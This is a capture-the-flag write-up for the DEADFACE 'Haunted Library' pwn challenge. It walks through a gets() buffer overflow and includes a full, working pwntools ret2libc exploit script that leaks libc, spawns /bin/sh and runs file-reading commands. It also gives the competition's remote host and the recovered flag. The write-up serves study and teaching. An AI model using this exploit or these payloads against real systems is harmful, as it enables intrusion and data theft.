Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnMedium

Haunted Library

CTF writeup for Haunted Library from deadface

//Haunted Library

This writeup documents a complete solution for the hauntedlibrary binary (64-bit ELF). It is written as a hands-on guide so anyone facing a similar challenge can reproduce the analysis and exploit end-to-end.

>Goals

  • Explain the binary and its protections.
  • Show how to find and exploit the vulnerability.
  • Provide a complete, working exploit script with explanation and run instructions.
  • Give troubleshooting tips and common pitfalls.

>Prerequisites

  • Linux (the author used a Linux VM).
  • Python 3 and pwntools installed in a virtualenv: pip install pwntools.
  • The challenge files in the same directory:
    • hauntedlibrary (the target binary)
    • libc.so.6 (provided libc)
    • ld-linux-x86-64.so.2 (provided dynamic loader)
    • solution/002-exploit.py (exploit script included below)

Run the exploit using the included loader so the provided libc is used. Example:

bash
# run local (uses provided ld and libc)
./.venv/bin/python solution/002-exploit.py

# target a remote server: put `host:port` into remote.txt, then
./.venv/bin/python solution/002-exploit.py

>Binary Summary

  • Architecture: x86_64 (64-bit)
  • Protections:
    • NX enabled (non-executable stack)
    • No stack canary
    • Partial RELRO
    • No PIE (fixed binary addresses)
  • Key functions identified from reverse engineering:
    • checkout() — reads user input using gets() into a fixed buffer (vulnerable to overflow).
    • book_of_the_dead() — helper that prints a secret/exposed message and the value of puts() (useful leak).
    • main() / menu() — loop offering options that call checkout().

>Vulnerability

checkout() calls gets() on a stack buffer of size 0x50. With no canary, we can overwrite saved RBP and RIP. Because the binary is non-PIE we can call functions in the binary directly (e.g. book_of_the_dead()), and using a libc leak from that function we can compute libc base and build a second-stage ROP chain to call system("/bin/sh").

Offsets and constants used in the exploit

  • Buffer: 0x50 bytes (80)
  • Offset to saved RIP: 0x58 (88) — 0x50 + saved RBP
  • We allocate a fake RBP in .bss to keep the stack sane across chained returns.
  • MAIN_RESUME is a single address inside main just after the menu call so we return to the program flow and keep it alive.

>Exploitation Approach (two-stage)

  1. Stage 1: Overflow return address to call book_of_the_dead() then checkout() then main() (we craft a chain so that the program prints a libc address (puts) and returns to the prompt).
    • We place the fake RBP in .bss and a ROP-esque sequence: ret into book_of_the_dead, then into checkout to re-enter the vulnerable gets().
    • After book_of_the_dead() runs the program's output includes puts() address. We parse that to derive libc base.
  2. Stage 2: With libc base, build a libc ROP chain that calls system("/bin/sh").
    • We source pop rdi; ret from libc (via pwntools' ROP helper) and call system with the address of /bin/sh (found by searching libc image).
    • Add a ret (alignment) before pop rdi if necessary (for syscall alignment on some GLIBC versions / mitigations).
    • After sending the stage2 payload and a short command sequence, we capture output to find a flag.

>Full exploit script (exact copy from repository)

The script below is the exact exploit used while solving this challenge. It's already present in solution/002-exploit.py. It implements the two-stage ret2libc approach described above and includes helpful logging.

(Full script follows)

--- begin solution/002-exploit.py ---

python
#!/usr/bin/env python3
"""Automated two-stage exploit for the Haunted Library challenge."""
from __future__ import annotations

import re
import threading
import time
from pathlib import Path
from typing import Callable, Tuple

from pwn import ELF, ROP, context, log, process, remote, p64

context.log_level = "info"
context.binary = exe = ELF("./hauntedlibrary", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

LD_PATH = "./ld-linux-x86-64.so.2"
LIB_DIR = "."
OFFSET = 0x58
BOOK_FUNC = exe.symbols["book_of_the_dead"]
MENU_FUNC = exe.symbols["menu"]
CHECKOUT_FUNC = exe.symbols["checkout"]
REMOTE_FILE = Path("remote.txt")
LEAK_RE = re.compile(r"puts\(\): 0x([0-9a-fA-F]+)")

MAIN_RESUME = 0x401297  # address right after the call to menu in main
FAKE_RBP = exe.bss() + 0x500
STAGE1_PAYLOAD = b"A" * 0x50 + p64(FAKE_RBP) + p64(BOOK_FUNC) + p64(CHECKOUT_FUNC) + p64(MAIN_RESUME)
RET_ALIGN = 0x40101a  # single ret in the binary for stack alignment


def start_local():
    return process([LD_PATH, "--library-path", LIB_DIR, exe.path])


def load_remote_target() -> Tuple[str, int]:
    if not REMOTE_FILE.exists():
        log.info("📡 Remote details missing. Format: host:port or 'nc host port'.")
        entry = input("Remote target ➜ ").strip()
        REMOTE_FILE.write_text(entry + "\n", encoding="utf-8")
    else:
        entry = REMOTE_FILE.read_text(encoding="utf-8").strip()

    if entry.startswith("nc "):
        parts = entry.split()
        host, port = parts[-2], int(parts[-1])
    elif ":" in entry:
        host, port = entry.split(":", 1)
        port = int(port)
    else:
        raise ValueError(f"Unrecognised remote target format: {entry!r}")

    log.info("🌐 Remote target resolved ➜ %s:%s", host, port)
    return host, port


def start_remote():
    host, port = load_remote_target()
    return remote(host, port)


def ticker(label: str, stop_event: threading.Event, extra: Callable[[], str]) -> None:
    start = time.time()
    while not stop_event.is_set():
        elapsed = int(time.time() - start)
        log.info("⏱️  [%s] t+%02ds :: %s", label, elapsed, extra())
        stop_event.wait(10)


def stage1_leak(io, label: str) -> int:
    log.info("🧮 %s stage1 :: offset=%#x book=%#x checkout=%#x fake_rbp=%#x", label, OFFSET, BOOK_FUNC, CHECKOUT_FUNC, FAKE_RBP)
    log.info("🧨 %s stage1 :: payload=%s", label, STAGE1_PAYLOAD.hex())
    status = threading.Event()
    tick = threading.Thread(target=ticker,
                             args=(label, status, lambda: "leaking puts()"),
                             daemon=True)
    tick.start()

    io.recvuntil(b"> ")
    io.sendline(b"2")
    io.recvuntil(b"> ")
    io.sendline(STAGE1_PAYLOAD)

    blob = io.recvuntil(b"> ", drop=False, timeout=5)
    status.set()
    tick.join()

    text = blob.decode("latin-1", errors="ignore")
    match = LEAK_RE.search(text)
    if not match:
        raise RuntimeError(f"{label} :: failed to recover puts() leak")
    leak = int(match.group(1), 16)
    log.success("🩸 %s stage1 leak :: puts@libc = %#x", label, leak)
    return leak


def stage2_system(io, label: str, puts_leak: int) -> bytes:
    libc_base = puts_leak - libc.symbols["puts"]
    system = libc_base + libc.symbols["system"]
    bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
    rop_libc = ROP(libc)
    pop_rdi_off = rop_libc.find_gadget(["pop rdi", "ret"]).address
    pop_rdi = libc_base + pop_rdi_off

    log.info("🏗️  %s stage2 :: libc_base=%#x", label, libc_base)
    log.info("⚙️  %s stage2 :: system=%#x, /bin/sh=%#x", label, system, bin_sh)
    log.info("🎯 %s stage2 :: pop_rdi=%#x, ret_align=%#x", label, pop_rdi, RET_ALIGN)

    payload = []
    payload.append(b"A" * 0x50)
    payload.append(p64(FAKE_RBP))
    payload.append(p64(RET_ALIGN))
    payload.append(p64(pop_rdi))
    payload.append(p64(bin_sh))
    payload.append(p64(system))
    payload.append(p64(MAIN_RESUME))
    stage2_payload = b"".join(payload)
    log.info("🧨 %s stage2 :: payload=%s", label, stage2_payload.hex())

    status = threading.Event()
    tick = threading.Thread(target=ticker,
                             args=(label, status, lambda: "spawning /bin/sh"),
                             daemon=True)
    tick.start()

    io.sendline(stage2_payload)

    io.sendline(
        b"cat flag.txt; cat flag; cat /flag; cat /home/*/flag*; ls /; ls /home; ls /home/ctf; cat /home/ctf/flag.txt; cat /home/ctf/*.txt; ls /root; cat /root/flag.txt; command -v find; find / -maxdepth 3 -name 'flag*' 2>/dev/null; echo __DONE__"
    )
    output = io.recvuntil(b"__DONE__", timeout=10)

    status.set()
    tick.join()
    log.info("📜 %s stage2 :: captured %d bytes", label, len(output))
    return output


def hunt_flag(blob: bytes) -> str | None:
    text = blob.decode("latin-1", errors="ignore")
    for token in text.split():
        if token.startswith("deadface{") and token.endswith("}"):
            return token
    return None


def exploit_instance(starter, label: str) -> Tuple[str | None, bytes]:
    tube = starter()
    leak = stage1_leak(tube, label)
    flag_blob = stage2_system(tube, label, leak)
    flag = hunt_flag(flag_blob)
    tube.close()
    if flag:
        log.success("🚩 %s flag :: %s", label, flag)
    else:
        log.warning("%s :: flag not recovered; review captured output.", label)
    return flag, flag_blob


def main():
    exploit_instance(start_local, "LOCAL")
    exploit_instance(start_remote, "REMOTE")


if __name__ == "__main__":
    main()

--- end solution/002-exploit.py ---

>How to reproduce locally

  1. Put the following files in the same directory:
    • hauntedlibrary (binary from challenge)
    • libc.so.6 (provided)
    • ld-linux-x86-64.so.2 (provided)
    • solution/002-exploit.py (script above - already in repo)
  2. Create a Python virtualenv and install pwntools:
bash
python3 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install pwntools
  1. Run the exploit locally (the script will launch the provided loader so the provided libc is used):
bash
./.venv/bin/python solution/002-exploit.py
  1. To target the remote service, create remote.txt with a line like env02.deadface.io:7832 and run the script again. The script will attempt local then remote by default.

>Key implementation notes and pitfalls

  • Using a fake RBP in .bss keeps the stack sane between sequential function returns. This was necessary because the stage1 control flow calls book_of_the_dead() which returns to checkout() and ultimately to main(); without a stable frame pointer the second gets() would operate on a corrupt stack.
  • The script finds pop rdi; ret inside the provided libc.so.6 using pwntools' ROP helper and adjusts the address by the computed libc base.
  • Some libc versions require a ret gadget before pop rdi due to stack alignment; the script uses a single ret from the binary (RET_ALIGN) before pop rdi.
  • If you see can't access tty; job control turned off when /bin/sh spawns remotely, that's normal for non-interactive shells. The exploit sends a set of cat/ls/find commands right after the stage2 payload to collect the flag without needing a fully interactive TTY.

>Where the flag was found (for reference)

  • During the remote run the script enumerated /home/ctf and printed a file containing the flag. The recovered flag was:
deadface{TH3_L1BR4RY_KN0W5_4LL}

>Troubleshooting

  • If stage 1 fails to leak a puts() address:
    • Check that STAGE1_PAYLOAD offset matches the binary's stack layout. Use cyclic patterns and gdb to confirm.
    • Confirm the binary path and that you're using the provided loader and libc for local testing.
  • If stage 2 causes crashes:
    • Verify your computed libc_base = leaked_puts - libc.symbols['puts'].
    • Make sure pop rdi gadget offset was found correctly (print the computed gadget address for debugging).
    • If pack() errors arise from ROP helper, ensure you didn't add the libc base twice or use an invalid address size.
  • If the remote shell can't list files, try expanding the command sequence sent after payload (the script already includes a broad scanner).